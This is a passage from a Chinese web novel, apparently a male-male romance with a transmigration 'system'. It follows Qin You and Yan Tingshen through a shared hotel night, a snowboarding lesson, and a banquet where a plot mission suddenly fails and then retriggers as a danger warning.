由于事出紧急,导致诸多不便,原身一怒之下搬离酒店,第二天直接去了机场,提前结束峰会的行程,还遭受秦恒钟一顿训斥。
书里有关主角之间“感情升温”的剧情,基本都不涉及原身,这次意外,大概也是为了把原身这个多余的人支走,免得打搅主角好事。
只不过,以现在目标对他的好感度,加上目标本身性格善良,行方便应该不是难事。
“浴室?”严庭深微顿,问他,“怎么回事?”
秦游言简意赅:“我这停水了。”
话落,他听到目标没有考虑太久,果然答应了。
“你什么时候过来?”
秦游轻笑:“马上。”
他已经回到客厅,又说,“等我。”
“嗯。”
秦游挂了电话,对项海峰等人示意,开门穿过走廊,到目标的房前,抬手敲门。
没过几秒,门开了。
严庭深站在门后,还没开口,先看到秦游身上的浴袍。
秦游注意到他的视线,无奈笑说:“本来想换个酒店,但你也看到了,这样没法出门。”
严庭深等他进门,闻言又转身看他:“换酒店?”
“嗯。”
秦游道,“停水停电,至少五个小时才能修好。”
严庭深看一眼时间:“这么晚了,你能去哪?”
秦游作势轻叹:“还不确定,洗完澡再说吧。”
严庭深蹙眉。
秦游初愈,这样穿着浴袍出来只会加重病情,何况深夜再去东奔西跑。
秦游看他的表情,笑问:“不如,你收留我?”
闻言,严庭深关门的动作微停。
这个酒店,卧室只有一间,收留秦游,那么……
“放心,你睡床,我睡沙发。”
睡沙发?
严庭深看向秦游,语气似乎不变:“你是想再病一场吗?”
秦游却敏锐察觉出端倪,解释一句:“有暖气,睡在哪都一样——”
严庭深打断了他:“不行。”
秦游没想到他拒绝得这么干脆。
也是。
这个酒店的套房设计相对私密,客厅和卧室几乎是联通的。
看来百分之三十的好感度,还是不能让目标接受和他共处一室。
系统试图纠错:【是啊宿主,真的不行,任务是同床共枕,你怎么能睡沙发呢!】
秦游原本也没打算做这个任务。
随机任务也许会增加好感度,既然没有惩罚,必须失败。
不过目标连沙发都不能接受,这个任务注定是要失败。
秦游没去强求:“那就算了,洗完澡,我在附近找个酒店过夜。”
“不用这么麻烦。”
严庭深说着,转身背对秦游,带他走向卫生间,“今晚——”
但说到这,他还是顿了顿。
秦游已经意识到他的后半句话,不由看向他的背影,视线扫过他微微侧过的脸,却看不见他此刻的神色。
“——你和我一起睡。”
室内在脚步声中安静着。
秦游走进卫生间,见严庭深要走,才横跨一步,挡在推拉门前,拦住他的去路。
严庭深下意识抬眼。
秦游也看着他:“你确定,今晚让我留下?”
严庭深又避开这道视线:“你的病刚好,不适合冒夜外出。”
秦游看他的反应,不由笑了一声:“同床共枕,你不怕我对你做什么?”
闻言,严庭深反而回眸。
他和秦游对视,淡声问:“你会吗。”
秦游没想到他问得这么直白。
也听出他的问句,用的是陈述的语气。他知道,他不会。
片刻,秦游笑了笑:“没错,我不会。”
严庭深对这个答案并不意外。
那天和秦游一起看话剧,他就已经看出,秦游清醒时根本不会主动亲密接触。之后试探,秦游对他的靠近也是避让。
这些足以证明,秦游对他没有任何越界的想法。
今天发生意外,他不能放任秦游再像上次在杉韵一样,不顾身体在外走动。
床的尺寸足够两个人成年男人躺下,只是一夜,无伤大雅。
念及此,严庭深又看秦游一眼:“放我出去。”
秦游失笑,微侧过身。
严庭深正要越过他出门,不知怎么,手表勾住秦游腰间的系带,随着他往前的动作,系带也轻轻拉开。
秦游还没看清,整片左襟已经完全敞开——
严庭深也感受到手上的重量,转眼看到浴袍内的风光,他瞳孔紧缩,下意识避开视线,本想退后,却“砰”声撞在本就没完全打开的推拉门上。
秦游立刻按回前襟,清咳一声。
严庭深脊背微僵,又低头去解系带。
可他刚有动作,撞在墙上的推拉门反弹回来——
秦游提醒他一句:“小心。”
“什么?”
严庭深话音还没落尽,背后一阵推力撞来,他毫无防备,被撞得往前一步。
秦游下意识去接他,但离得太近,手刚抬起,人已经撞进怀里。
严庭深本想卸力,抬手却径直按在秦游胸口。
毫无阻隔的温热触感从掌心传来,他抿唇想松开力道,没卸尽的推力一时还压在双臂,让他无从抽手。
下一秒,两人一起撞在门框。
温热的身体瞬间贴紧。
严庭深抿直薄唇。
似乎滚烫的体温也瞬间从秦游几乎坦诚相见的身上传来,他按在秦游胸口的手一紧,又立刻抬起。
不想秦游身上好像残留什么痕迹,他动作间,指腹忽地打滑,想松开的手又没脱离,沿着秦游前胸一路往下,直直滑进深处——
狭窄的门缝里,两人同时僵在原地。
严庭深骤然拉开距离,不再看秦游,转身要走。
然而还纠缠的系带被他带走,又扯开了秦游的浴袍。
“……”秦游再抬手拉回,“先别动。”
严庭深沉眸沉默解开,没有回头。
唯独再往前时,垂在身侧的手,紧了又松。
分明一触即分,掌心仍有火烧火燎的炙热温度在肆意蔓延,和身后这个人一样,鲜明得难以忽视。
秦游看着目标的背影离开,也沉默片刻,才走进浴室。
简单洗漱过,他拿了一件新浴袍穿上,才想起来得匆忙,忘了带换洗的衣服。
回到卧室,却见床上正摆着一套干净的睡衣。
他来时目标身上已经换了睡衣,准备休息,这一套显然是为他准备的。
秦游走到床边,脱了浴袍扔在沙发,正去拿衣服,合起的房门突然开了。
严庭深站在门边:“你洗——”
话没说完,看到秦游,他握在门把手的五指猛地收紧,随即退了出去,房门“砰”声合起。
“……”秦游抬手按了按鼻梁。
一天两次被人看光。
这种情形,即使是他,也没有应对的经验。
算了。
两个大男人,他有的目标也有,看就看吧。
等他穿了衣服,沉寂的系统突然发言:【宿主,刚才我怎么突然被关进小黑屋了?你们在浴室性|交了吗?目标好感度竟然没有降低,难道他竟然不抵触吗,天啊宿主——】
秦游道:【……闭嘴。】
系统委屈地照办。
秦游从卧室出来,见目标不在客厅,转脚去了书房。
听到开门声,严庭深抬眼,对上秦游的视线,先一步开口:“你先睡吧,我还有点事要处理。”
秦游挑眉:“躲我?”
严庭深抿唇,垂眸道:“没有。”
秦游道:“你应该知道,如果你不希望我留下,只要说一声就够了。”
严庭深搭在键盘上的手缓缓收紧,见他转身,也从桌后站起:“我不是这个意思。”
秦游回眼看他。
严庭深没有看他,径自出门:“如果你会多想,我可以留到明天处理。”
秦游不由笑了。
一个借口也要有始有终,逻辑严谨,不愧是主角之一。
严庭深只当没听到身后的声音,回到卧室,脚下才顿了一步。
秦游道:“选一边吧。”
床上有两床被子,每人各占一侧,井水不犯河水。
严庭深没有开口,只接着走到床边坐下。
见状,秦游走到另一侧,也掀了被子上床。
严庭深正摘手表,察觉他的视线,说了一句:“我还有公事,需要看时间。”
秦游笑说:“我知道。”
他看着严庭深躺下,“关灯吗?”
严庭深道:“嗯。”
灯光应声黯淡,只剩一盏昏黄的床头灯亮起。
严庭深背对秦游,听到身后传来窸窣的布料摩擦,随后床垫轻轻一晃。
和另一个人睡在同一张床上,他本以为会不习惯,也本以为秦游会说些什么。
但似乎时间并没过得太久,他就沉沉睡下。
再醒来时,严庭深先感觉到面前拂过的呼吸。
他倏然睁眼,看到秦游熟睡的脸近在眼前,带着暖意的体温也在同一床被子之下靠近——
这样的温度和距离,他和秦游在睡梦中,保持了多久?
——节奏绵长的气息再度扫过。
严庭深抿唇,正要起身,转眼又看到秦游的脸,动作一顿。
昏黄的灯光下,这张总是带笑的脸没有笑意,总在流转的眼睛没有睁开、也没有眼镜遮挡,显得冷漠盖过温情。
和清醒时正相反。
这是他的本来面貌。
严庭深看着他。
但不论这张脸上是怎样的神色,他的本能不会撒谎。
他在靠近时带来的,和此时此刻一样,都只有暖意。
蓦地。
秦游眼睑微动。
严庭深移开视线,不想打扰他休息,缓缓拉开距离,才轻轻掀起被角,转身下床。
—
清晨。
秦游刚醒,正去洗漱,就听到系统在脑海里捶胸顿足:【宿主,太可惜了,就差那么一点!】
秦游道:【什么差一点?】
系统说:【任务啊!】
秦游微停。
昨晚事发突然,他把任务忘了。
听到系统的话,他打开好感度页面。好在数值没有变化。
【你看,任务失败了,好感度还是这么多……】
系统以为宿主也在可惜,还在气愤,【可是宿主陪目标睡到五点难道还不算一夜吗?任务竟然失败了,这也太苛刻了吧!】
宿主可是好不容易才会正经做任务的,偏偏这次这么正经,却失败了,这不是打击宿主的任务积极性吗?肯定会对它以后的工作造成不利影响,真是太过分了!
秦游看向卧室:【他人呢?】
系统说:【目标醒得好早,五点钟的时候就起床了。】
秦游收回视线。
他继续洗漱完,穿过卧室到客厅,看到管家正安排工作人员摆放餐具。
酒店的餐室也和客厅联通,摆放在一扇落地窗前,光照很好,风景也最佳。
“您好,请问现在需要送餐吗?”
秦游看到桌上的双人餐具,知道目标已经交代过,颔首道:“送过来吧。”
管家说:“好的。”
秦游直接去了书房,抬手敲门:“准备一下,出来吃早饭。”
话落转身走出没几步,身后传来开门声,他回身,看到严庭深从书房出来。
秦游住脚,等人过来,笑说:“昨晚睡得怎么样?”
严庭深看他一眼:“你呢,睡得怎么样?”
秦游道:“睡得很好。”
一夜无梦,是难得的好眠。
严庭深眸光微动,和他并肩往前,才道:“我也是。”
秦游含笑看他:“那怎么起得那么早?”
严庭深淡声说:“昨晚没处理的事,今天需要抽时间做完。”
秦游也不再想他的话是不是借口。
两人来到餐室,刚坐下,餐正好送到。
工作人员把菜品摆好就推车离开。
管家也退到玄关,不去打扰。
没多久,门铃声又响起。
管家请示过客人,去开了门。
齐晏大摇大摆地进来:“是不是快到饭点了?我——”
话没说完,在门口看到落地窗前的餐桌、看到桌前的两个人、看到两个人身上穿的睡衣,他冷不丁懵住了。
等等……
那不是严庭深的睡衣……吗?
不是……
啊??
第 43 章 把一切全然交给另一个人……
“你们……这……昨晚……你们这是……”
齐晏站在原地, 话不成句,半天没反应过来,直到听见一旁管家询问, 他才回神, 睁大眼睛仔细去看秦游的衣服。
没错啊!
就是严庭深的睡衣,他记得很清楚,前不久他才在杉韵偶然见过, 和秦游身上这件一模一样!
情侣睡衣?
还是秦游穿的干脆就是那件?
“……”齐晏感觉有点烧脑了。
不论哪一种,他都难以置信啊!
严庭深会和别人穿情侣衣服吗?不可能的!
严庭深会把自己的衣服给别人穿吗?那也是不可能的!
最关键的是, 秦游大清早穿着庭深的睡衣出现在庭深的房间, 还和庭深一起吃早饭, 这代表什么?这说明什么?
说明这两个大男人昨晚很有可能滚到同一张床上去了!
这可能吗?
这简直是天方夜谭啊!
从小到大——
齐晏的头脑风暴席卷到一半, 看到秦游的脸, 顿时戛然而止。
行吧……
上次看到是亲在一起, 这次看到滚在一起, 好像也……正常?
反正庭深为秦游破例的事也不是一件两件了。
没想到啊。
这个恋爱, 严总是不谈则已, 一谈惊人, 才刚开始呢, 进度就这么迅猛。
上次裴笙不是还说没确定关系。
这才过去几天啊,关系直接到了床上的地步。
看样子是认真了。
齐晏想着,又抬脚往里进:“那个, 我——”
“出去。”
“……”齐晏看向严庭深,一时很怀疑自己的耳朵,“不是,我刚到……”
严庭深看他一眼:“饭后再谈。”
齐晏往桌上看了看,只看到一双碗筷, 当即明白过来,嘟囔了一句:“没人性啊,吃个饭还搞什么二人世界……”
他一路嘟囔到门外。
刚到门口,房门就被管家合上。
“……”齐晏回身瞪了一眼紧闭的门,一转眼,正巧看见走来的裴笙,没好气地提醒他,“别进去了,我被赶出来了,严总说饭后再谈。”
裴笙意识到什么:“小秦总在里面?”
“你猜到了?”齐晏语气一变,凑到他身边,把兄弟的八卦和兄弟共享,“你刚才是没看见,秦游穿着庭深的睡衣,两个人正坐在一起在里面吃早饭呢。”
裴笙握着电脑的手一紧:“……庭深的,睡衣?”
“没错。”齐晏点了点头,往门内瞟了瞟,做贼似的低声说,“我很怀疑,他们俩昨晚可能——”
他说着,撞了撞裴笙肩膀,挑了两下眉毛,“嘿嘿”一声。
“你懂的。”
裴笙的手又紧了紧,没来由地不想聊起这个话题:“那是他们的隐私,你别胡说。”
齐晏耸肩:“我哪里胡说了,眼见为实嘛。”
这些他最多也就在裴笙面前说说,又传不到第三个人耳朵里,怕什么。
裴笙抿着嘴唇,突然转身:“既然他们不想被打扰,我先回去了。”
齐晏正要和他一起离开,脚步忽地停下,看向身前好友头也不回的背影,若有所思。
裴笙有点不对劲。
他从不是会无故把人直接甩到身后的性格。
刚才只聊到庭深和秦游的感情问题,没有什么特别之处——
齐晏一顿。
庭深和秦游的感情。
回想起来,裴笙好像一直有意回避这个话题。
他不想聊起这件事,真的,只是太尊重隐私吗?
—
【咦?】系统奇怪地说,【宿主,好感度掉了一点……】
秦游正放粥碗,闻言抬眼,看向严庭深。
不像在生气。
但从好感度的变化看,确实心有芥蒂。
严庭深察觉他的视线:“怎么?”
秦游喝了一口水润喉,才说:“刚才,齐总应该误会了,如果你介意,跟他解释一下。”
齐晏进门后的反应,无一不在透露震惊。
他注意到对方的视线几次落在他身上,显然这身睡衣也有说法。
包括临走前说的“二人世界”,都在加深这个错误印象。
目标之前就因为被误解对他不满,现在旧事重演,目标自己可以装作云淡风轻,他有必要表明立场,免得惹火烧身。
严庭深只道:“你想多了。”
朋友之间交往,齐晏能有什么误会。
不谈其他,仅仅齐晏和裴笙,互在对方家里借宿就时有发生,并不值得大惊小怪。
系统经宿主提醒,也反应过来,听到这句话,不禁出声:【目标真是心口不一,都介意到掉好感度了,还说是宿主你想多了,我们明明都是靠数据说话的,怎么会有错呢!】
秦游也看了严庭深一眼。
但他的态度已经表明,既然目标不肯承认,他何必强求:“随你吧。”
话落,两人继续吃完一顿早餐,才各自回房。
秦游换了衣服,正要去楼下,接到崔凌的电话。
“小秦总,今天——”
秦游道:“我的病还没好。”
“……”这句熟悉的话让崔凌咬了咬牙,他尽量心平气和,“小秦总,酒店刚才给我打了电话,确定下午两点钟滑雪场的私人预约,请问这是你的预约吗?”
秦游道:“嗯。让他们准备好雪具。”
崔凌:“……”
他难以理解,二世祖的脸皮到底有多厚?
当面被拆穿生病的谎言,竟然还这么理所当然地交代他去做事?
他说这句话不是为了确认预约,是让秦游去办正事、参加峰会啊!
“有问题?”
“…………”崔凌深吸一口气,“没问题,我马上去联系,但是——”
“辛苦了。”
崔凌说:“不辛苦,小秦总——”
电话又挂了。
崔凌僵着脸听着忙音,慢慢闭上眼,有种摔手机的冲动。
他好不容易忍住了。
到下午一点半,崔凌特意提前到了滑雪场入口。
酒店套房有专属房卡,他没有权限,不能去房间门口,只能在这等秦游出现。
没多久,看到滑雪场的工作人员引着一行人过来,他从长椅上起身。
这里是酒店专属的贵宾滑雪场,每条雪道只对应一条预约,他亲自核对的预约,来的人肯定就是秦游。
可等到人再走近,崔凌才发现来的不止是二世祖一个人,还有一个是……
严庭深?
崔凌又看向秦游。
一切问题有了答案。
怪不得二世祖不去办正事,原来是为了和严庭深约会。
看到队伍里还有带着药箱的工作人员随行,崔凌往前走的脚又僵在原地。
……真病了?
秦游已经看到不远处的崔凌,示意项海峰过去问明情况,他和严庭深继续往前,进了一旁的休息室。
换上雪具,秦游拎着头盔出来,看到一旁的医生,他不由无奈:“有必要吗?”
在杉韵一场低烧,让医生来回跑了几遍。
这次只是装病,目标也请了带来的医生随行,实在有点小题大做。
严庭深道:“没必要吗。”
这样的小事,秦游没和他争辩:“好,有必要。”
话落,对他往雪道示意,“走吧。”
严庭深走在他身后,进了入口,再到一旁空处,转眼见秦游正皱眉看着立在护栏的雪板:“怎么?”
秦游道:“怎么只有单板?”
他左右看了看。
工作人员已经退了出去,场内只剩安保守在各处。
严庭深问他:“单板很难?”
秦游回身看他:“对你,应该不算难。只是你第一次接触,双板会更安全。”
严庭深说:“不要紧。”
秦游想了想,笑说:“那就学单板吧,放心,有我在,不会让你受伤。”
严庭深看向他,又垂眸接过他递来的雪板:“嗯。”
秦游教他扣紧一只脚:“适应一下重量。”
严庭深依言往前走了两步。
秦游才戴上头盔和护目镜,先作示范。
单脚滑过,再换双脚,之后一切讲解就绪,他才牵起严庭深的手:“记住刚才的感觉,跟着我往下滑,不要紧张,我陪你下去。”
严庭深看向他的手,再抬眼,只看到沉黑的护目镜。
秦游正往下看。
酒店的滑雪场护理得很干净,依靠雪山,是天然雪道,两侧还有厚重积雪,好在并不陡峭,只是有不少弯道,对初学者来说,应该很有难度。
他收回视线时,握住严庭深的手稍稍用力:“下去的时候抓紧我,如果累了,或者哪里不舒服,及时告诉我,知道吗?”
严庭深颔首:“嗯。”
秦游隔着面罩对他笑了笑,带着他轻轻往下,再握起他的另一只手,和他面对面沿坡道滑了下去。
两只手都被控制,连下滑的方向都不由自主——
严庭深抿唇,动作略微生硬。
这样几乎拥抱的距离。
这样的身不由己、把一切全然交给另一个人掌控,他从没经历过。
“放松。”
耳边传来夹杂在风声里的熟悉语调。
严庭深看向秦游。
隔着面罩、隔着护目镜,他看不到秦游此时此刻的神情,但隔着手套传来的力道始终沉稳,很轻易让人安心。
“贴紧我,要拐弯喽。”
严庭深听出他在笑,和他交握的手微重一瞬,又恢复如初,顺着他的动作微微靠近,紧紧握住他稳得出奇的手,在风声中转弯。
秦游道:“注意重心,剩下的交给我。”
严庭深看向他的侧脸,在愈贴近的距离也转向脚下的弯道。
没多久,熟悉的含笑语调又响在耳边。
“太棒了,连弯道都过得这么轻松,看不出来,你对滑雪很有天赋哦。”
严庭深直觉双臂因为用力已经泛酸,再看距离不远的下一个弯道,也开口道:“我累了。”
可这三个字和风声一起响起,秦游没能听清:“什么?”
严庭深话落时已经作势收手,不想被他和惯性继续带了下去。
弯道又来了。
秦游正调整重心,一时不察,被他扯了一下,脚下也微微一晃。
严庭深第一时间感受到他的变化,立刻抬手握住他的手:“秦游?”
调整的重心再度被打断,拉扯间雪板牵绊——
听到脚下传来的声音,秦游略显无奈。
算了。
滑雪哪有不摔的。
下一刻,两人一起倒向雪道。
秦游把人揽在怀里,在雪面滚了两圈,又被惯性甩到外侧,闷声填进积雪里。
严庭深被他护在身前,不等起身,先摘了头盔,语气不复往常的平淡,带着不易察觉的急切:“秦游!”
秦游躺在雪里缓了缓,也摘了头盔,拉下面罩。
“你怎么样?”
“你没事吧?”
话音一齐落下,秦游看向严庭深脸上难得流于表面的担心,笑了一声:“我没事。”
严庭深面色微缓,刚有动作,一旁积雪窸窸窣窣,倏地落了下来,淋了两人满身。
秦游笑着抬手护在严庭深脑后,看到他的发顶被雪砸中、又流到侧脸,信手摘下手套帮他擦了下去。
暖意逼人的指腹取代冰雪的凉意,严庭深按在秦游肩上的手不觉收紧。
他还没来得及起身。
秦游的脸近在咫尺。
由上而下的阳光倾泻而下,眼前的一切无所遁形。
没有护目镜遮挡。
这双含笑的桃花眼底,只有他的倒影。
第 44 章 任务失败了!
上空有和他们同时出发的无人机正在靠近。
严庭深在嗡鸣声中回神, 转眼错开视线,抬手在秦游肩侧撑地,借力单膝半跪起身, 又握住他还戴着手套的右手, 本想拉他一起站起来,躺在雪里的人却只笑了笑,纹丝不动。
严庭深蹙眉:“别躺在这。”
秦游任他拉着手, 笑说:“让我再歇一会。”
闻言,严庭深又在不经意间微微俯身:“你受伤了?”
秦游道:“没有。”
一个成年男人的重量压在身上摔下来, 即便有积雪卸力, 也难免有点胸闷, 不过没有大碍, 休息一两分钟就差不多了。
免得目标胡思乱想, 话落, 他反握住掌心还没松开的手, 把人往下带了回来。
严庭深一时没有防备, 被直接拉回了怀里。
他及时曲肘撑在秦游耳旁, 才没再压在秦游身上, 却也在积雪里陷得更深, 他不由蹙眉愈浓:“你——”
他的话被耳边的声音打断。
“看。”
严庭深循声看着秦游,又循他的视线,看向远处天边。
天边是连绵的山脉, 和滑雪场周边人工打造的景观相得益彰,在一望无垠的银色雪山里,算难得的景色。
“是不是风景不错?”
秦游笑着说完,转向严庭深,“你练了这么久, 也陪我躺一会,就当休息了。”
严庭深没有同意:“你想休息,去休息区。”
秦游的病刚好,躺在冰天雪地里,很有可能导致旧病复发。
他说着,又要起身,可软塌的积雪在两人动作时再往下沉,这次牵连起左右两侧的雪层,小山似的往中间垮塌。
雪白的阴影逼近,秦游下意识按在严庭深脑后,把人压进颈侧。
严庭深也本能抬臂护在秦游头顶,短短几个瞬间,等到身上不再有重量落下,他拨开周围的雪,感觉脑后秦游的手也在活动。
没多久,重见天日。
秦游看着浑身被雪淋满的严庭深,目光扫过他被积雪打散的短发,正和发间的雪色一起垂落额前,这一次,无论如何也擦不干净。
严庭深也蹙眉拂过他被雪淋满的发顶:“你怎么样?”
秦游看着他,笑说:“只要你不动,我好像很安全。”
严庭深一顿。
他和秦游对视一眼,抿唇松手,按在一旁雪面时,不巧又是一团软塌雪层。
他陷下去,正摔回秦游胸前。
严庭深听到耳边传来秦游的笑声。
隔着两层雪服,来自胸前的震颤也异常清晰。
秦游笑眼看他:“你是在配合我吗?”
严庭深面色微沉,转眼再对上秦游的脸,却又一顿。
迎着雪寒天气的日光,呼吸间的白雾也被冲散。
秦游朗声笑过,脸上即使只有笑意残留,依旧深深浸在不被任何镜片遮挡的眼底,这样清楚分明,前所未有。
无人机又在嗡鸣。
严庭深收回视线。
看出秦游没有妥协的意思,他再扫过周围,只解下手套,垫在秦游脑后。
秦游顺着他的力道抬头,又落下,余光看到他不受保护的手:“你把手套给我,你怎么办?”
严庭深说:“我不冷。”
秦游挑眉:“我会被冻出病来,你不会?”
严庭深看他一眼:“否则就跟我回去。”
秦游失笑:“你——”
一个字还没说完,严庭深额前的碎发滑下一小团雪,如冰的凉意正点在秦游脸侧。
秦游还没动作。
严庭深还没收回的左手下意识抬起,擦在秦游侧脸。
冷暖交替。
秦游倏地抬眼。
他看着严庭深,忽然抬手,轻轻锁住严庭深的手腕。
严庭深被迫停住,不由看他。
对上他的眼神,严庭深被他扣住的手也轻轻收紧。
雪道上静谧无声。
对视间,雪服下,心跳声仿佛也怦然响起。
秦游握着严庭深的手正用力、正要拉近本就过于靠近的距离——
正在这时,不远处有人滑雪下来。
工作人员终于带着医生在最短时间内赶了过来,冲到两人身边。
“您好,请问两位受伤了吗?”
两只手迅速分开。
严庭深起身。
秦游也半坐起来,重新扣紧雪板。
严庭深正看向工作人员:“这里没事,都下去吧。”
工作人员和医生都是一愣。
他们是看了无人机视角才下来的,这两位客人一直倒在雪里起不来,常理推测,很有可能是受伤了。
可听到客人的话,再看两人确实行动自如,他们只能道歉离开。
“对不起,打扰了。”
两人走后,秦游也从雪地起身。
他把手套递还给严庭深,再接过严庭深递来的头盔和护目镜,重新把装备佩戴整齐。
“跟我来,从这个弯道下去,之后的路简单很多。”
听到秦游一如既往的语气,严庭深看了看他,也把刚才的意外按下:“嗯。”
秦游抬手拉住严庭深:“这次,记得说话的时候离我近一点,免得再发生事故。”
严庭深顿了顿,才回握住他:“嗯。”
直到他们重新回到雪道,系统失望的声音才响起:【哎呀宿主,太可惜了,要是你刚才先亲下去,之后再有人过来,目标不喜欢被围观,好感度说不定还会降呢!】
脚下忽地微滑。
严庭深看向秦游。
秦游语气不变,对他说:“路不太平。”
严庭深不疑有他:“小心。”
系统还没说完:【宿主你下次动作要快一点,想亲就直接亲下去嘛,机不可失啊!】
秦游道:【我没想亲他。】
【啊?】系统说,【刚才宿主不是要亲目标吗,我看就很像啊……】
秦游道:【你看对过几件事?】
系统:【……】
过分了……
这样就有点过分了宿主……
就算它经常、不是,偶尔出错几次,可它好歹也是隶属感情分部的系统精灵,亲亲摸摸的氛围,它还是看得懂的……吧?
系统犹豫了。
难道……
真的是它看错了?
宿主自己都说没想亲了,它作为局外统,怎么可能比宿主更清楚宿主的想法呢?
又要被宿主嫌弃了……
系统心酸。
唉!
怎么搞的,它好像越来越没用了……
它想了又想,还是捡起最擅长的事,开始拍马屁:【宿主说得对,还是宿主高明,教目标滑雪,这样等目标适应了和宿主这么亲近,以后想让他什么时候爱上你就什么时候爱上——】
【闭嘴。】
【……】系统委屈地应声,【好的……】
秦游看向严庭深。
严庭深有所察觉,却没看他:“怎么?”
秦游道:“学了这么久,对滑雪有兴趣吗?如果你不喜欢,直接告诉我。”
严庭深的视线划过交握的双手,又落在雪道:“还不错。”
秦游看着他被遮掩的侧脸。
“我对你说过的话,你应该还没忘吧。”
说到这,严庭深才转向他,“我从不勉强。”
秦游笑了笑:“那就好。”
受限任务,他来参加这场峰会,期间只有滑雪这么点消遣,教目标滑雪,是消遣之外的顺便,无关任务,也无关好感。
他继续带严庭深滑过整场,歇歇停停,结束时,时间已经过了四点半,天色也在擦黑。
两人回到酒店,才各自回房。
崔凌厚着脸皮亦步亦趋地跟着秦游,一路谨慎地一句话也没说,到了房间,终于提起正事:“小秦总,明天下午就该返程了,请问你的病明天上午能痊愈吗?”
秦游把外套递给管家,转眼看他。
“……”崔凌低下头,“小秦总,回到公司,如果董事长问起来,我该怎么说?”
秦游道:“把这两天的资料做个汇总,回程前交给我。”
崔凌顿时明白,二世祖的病明天也好不了,他只好照办:“好的。”
他说完正要走,想到什么,又问,“小秦总,今天的晚宴,你要参加吗?”
晚宴?
秦游记起靠近宴会厅的坐标,反问一句:“严庭深去吗?”
目标作为助理,行程不会被特意关注,主角却不同。
所幸两个主角在工作期间出入基本都在一起,有主角的下落,目标一定也在。
崔凌一愣:“这个,我不知道。”
秦游道:“去查清楚。”
崔凌:“……”
他还是不明白,明明一句话就能问清楚的事,为什么让他费力去查?下午不是还黏在一起吗?
毕竟那是严庭深的行程,查起来根本不是三言两语那么简单。
崔凌抬头,看向秦游——
对上秦游的眼神,他又忍了。
不忍还要怎么办呢。
他的奖金总不能没得这么简单。
“……好的。”
秦游去浴室洗了个澡,出来看到床上已经洗熨过的睡衣,脚下微停,才从衣柜里取出另一套。
不多时,崔凌的电话打过来。
“小秦总,查到了,今晚严总会去参加晚宴。”
严庭深的行程和二世祖差不多,同一时间到苍滨,返程要稍早一些,明天上午的飞机。今晚是他在苍滨参加的最后一场宴会。
但之后的行程秦游没提起,为了奖金着想,崔凌的话到晚宴为止。
秦游也没再问。
挂了电话,等时间差不多,他拿手机给目标发了条消息。
秦:晚宴参加吗,一起?。:好。
看到回复,秦游收起手机,起身出门。
到目标房前,他还没敲门,门从里面打开了。
严庭深走出来。
秦游看向他身后。
严庭深淡淡说:“只有我一个人。”
秦游对裴笙和齐晏的不喜,任谁都看得出来。
秦游笑说:“走吧。”
话落,两人并肩下楼。
系统还在奇怪:【宿主,坐标还没有解锁,难道任务内容今天还不会发生吗?】
秦游看过面板。
任务详情页上的目标坐标依旧处于灰色状态。
系统又疑惑:【可是之前的任务,就算提前好多天,坐标也不会像这样锁定啊,这一次到底是怎么回事,出现漏洞了吗?】
秦游没太在意。
和目标一起出了电梯,知道对方要去找主角,他没再陪目标一起进场,照例找了个角落坐下。
既然任务还没彻底解锁,他也不需要时刻陪在目标身边。
只是坐下没多久,不经意间,秦游余光扫过一旁的身影,视线一顿,转脸看过去。
孟云哲?
他怎么会在这?
秦游记得这是祁新维的朋友。
正因为会和祁新维交好,才不该有资本入住这家酒店。
不过这跟他也没什么关系。
秦游正要收回视线,系统突然惊呼出声。
【任务失败了!】
它不等宿主发问,先打开任务面板,难以置信,【宿主,任务还没做呢,怎么就直接失败了?!】
秦游皱眉,立即起身看向场内,搜寻目标的身影。
但场中一切如常,没有任何异样。
只有任务面板上,从没解锁过的任务后,的确多出鲜红醒目的三个字。
【已失败】
第 45 章 别睡!
秦游很快找到严庭深所在的方位。
目标和主角站在一起, 身旁还有齐晏。
其余是一些生面孔,都端着酒杯在谈笑。
周围安保还在巡逻,宴会厅内的工作人员也在穿梭游走, 一切风平浪静。
系统这时又惊讶地说:【宿主, 不对劲呀,任务失败,竟然一点空间能量都没扣!不行, 这肯定是剧情漏洞,我要上报主系统, 查询失败原因!】
秦游看向正和齐晏交谈的主角。
除随机任务外, 上一次任务失败没有惩罚, 是因为主线进度有突破性进展。也就是主角的感情得到发展。
这次难道是同样的情况?
秦游又转向任务面板。
但主线进度有无进展, 不能解释任务在开始之初就直接判定失败的原因。
既然任务在此时此刻失败, 说明任务本该在此时此刻发生。
只有一个原因, 会让本该来到的意外扭转。
那就是这场意外, 这个任务, 和他触发的第一个剧情节点相同, 属于人为制造。
也许是他在车祸后救下目标, 导致他的出现对剧情产生了一些微妙的影响。
出于某种考虑, 制造这场意外的幕后黑手改了主意。
秦游眸光微凝。
改变主意,却不代表目标已经安全。
对方是什么人,什么时候会再出手, 会在什么时候出手——
诸如此类,脱离了原有剧情,还算是“剧情节点”吗,主系统又该怎样感知。
【有了!】
系统连忙打开通知,迅速看完, 疑惑更深了,【啊?剧情发生改变,剧情节点未知,需要宿主随时做好应对准备?这是怎么回事啊?】
秦游也在看这条通知。
那么他猜得没错。
不论出于什么原因,剧情正在转变。
这样失控的转变,对目标而言,无疑是更大的危机。
【太离谱了,从来没听说过这样的事啊,剧情节点怎么会未知呢?】
系统还试图从通知里找出答案,看了半天,又跳回任务面板,【哎?宿主你快看,任务判定变了!】
秦游看过去。
【已失败】的三个红字,已经变成蓝色的【已中止】。
【……】系统思考得快要短路,【宿主,我还是第一次看到这种任务判定,我真的不知道出了什么问题……】
秦游也不指望它能知道。
失败变为中止,他的推测也得到证实。
任务不是失败,而是幕后黑手打算换个时间下手。
现在唯一的关键,在于对方换的时间和地点,是今天、明天,还是一个不具体的日期。
不过安全起见,他的清闲大约也躲到这里为止了。
秦游想着,从沙发上起身。
酒店的总裁忽然走到台前,拿起话筒笑着宣布,巨资打造的室内观景台已经准备完毕,请众位宾客前往落地窗前观赏。
说完放下话筒,又特意走到众星捧月般被围在当中的三人前,伸手指引,似乎在邀请。
隔着距离,人群中的情景看不真切,只看到众人簇拥着四个人走向一旁的落地窗前。
秦游转脚正要过去,系统提示音忽又响起。
【剧情节点触发。】
【宴会中即将发生危险,请宿主设法解除危机。】
秦游脚下微顿。
【啊?任务又触发了?】
系统自觉丢人,声音都低下去了,【宿主,这次的任务没有坐标,这该怎么办?】
秦游看着众人走向的落地窗。
任务是在目标靠近观景台时触发,方位基本可以确定。
他想了想,对一旁项海峰示意。
项海峰快步过来,听完老板的话,不禁抬头看他,有些为难:“这……”
秦游道:“保护好他。”
项海峰还是一脸难色:“可是秦总,我们全都过去,你的安全——”
“按我说的办。”
